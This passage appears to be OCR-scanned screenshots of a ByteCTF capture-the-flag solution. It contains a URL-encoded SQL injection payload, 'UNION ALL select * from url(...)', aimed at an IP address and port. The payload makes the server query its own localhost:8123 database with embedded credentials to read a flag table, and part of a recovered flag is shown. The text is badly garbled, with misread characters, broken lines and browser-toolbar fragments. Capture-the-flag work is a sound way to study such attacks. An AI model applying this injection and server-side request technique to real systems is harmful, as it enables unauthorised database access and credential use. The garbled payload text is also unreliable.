ord=e3b0c44298fclcl49aftb', 'CSV', 'columnl String')")
'1%20UNION%20ALL%20select%20%2A%20from%20url’%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%2Bctf
.flag%26user%3Duser_01%26password%3De3b0c44298fc1c149atb%27%2C%27CSV%27%2C%27columnl¥%20String%27%29"




/ ?1d=1%20UNION%20ALL%20select%20%2A%20from%20url’%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%?2

Bctf.flag%26user%3Duser_ 01%26password%3De3b0c44298fc1cl49atb%27%2C%27CSV%27%2C%27columnl%20String%27%29

39.105.175.150:30001/7id=1%20 X |+

%2Bfrom%2Bctf flag¥26user¥%3Duser_01%26password%3De3b0c44288fcicld9ait vy & O ® @ & $ » @

flocalhost%3A8123/%3Fquery%3Dselectd%2|

<« G O 8 39.105.175.150:30001/7id=1 UNION ALL select * from url('http%

Welcome to ByteCTF'), ('ByteCTF{e3b0c44298fc1c149afbf4c8)
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@ Load URL http://39.105.175.150:30001/2id=1%20UNION %2 0ALL %20select%20%2A%20from %20uri%28%27 http %3A//localhost%3A8123/%3F query%3Dselect%2B%2A%2Bfrom%2Bctf.flag%26user%3Duser_01%26password%:

N %27 column1%20String%27 %29
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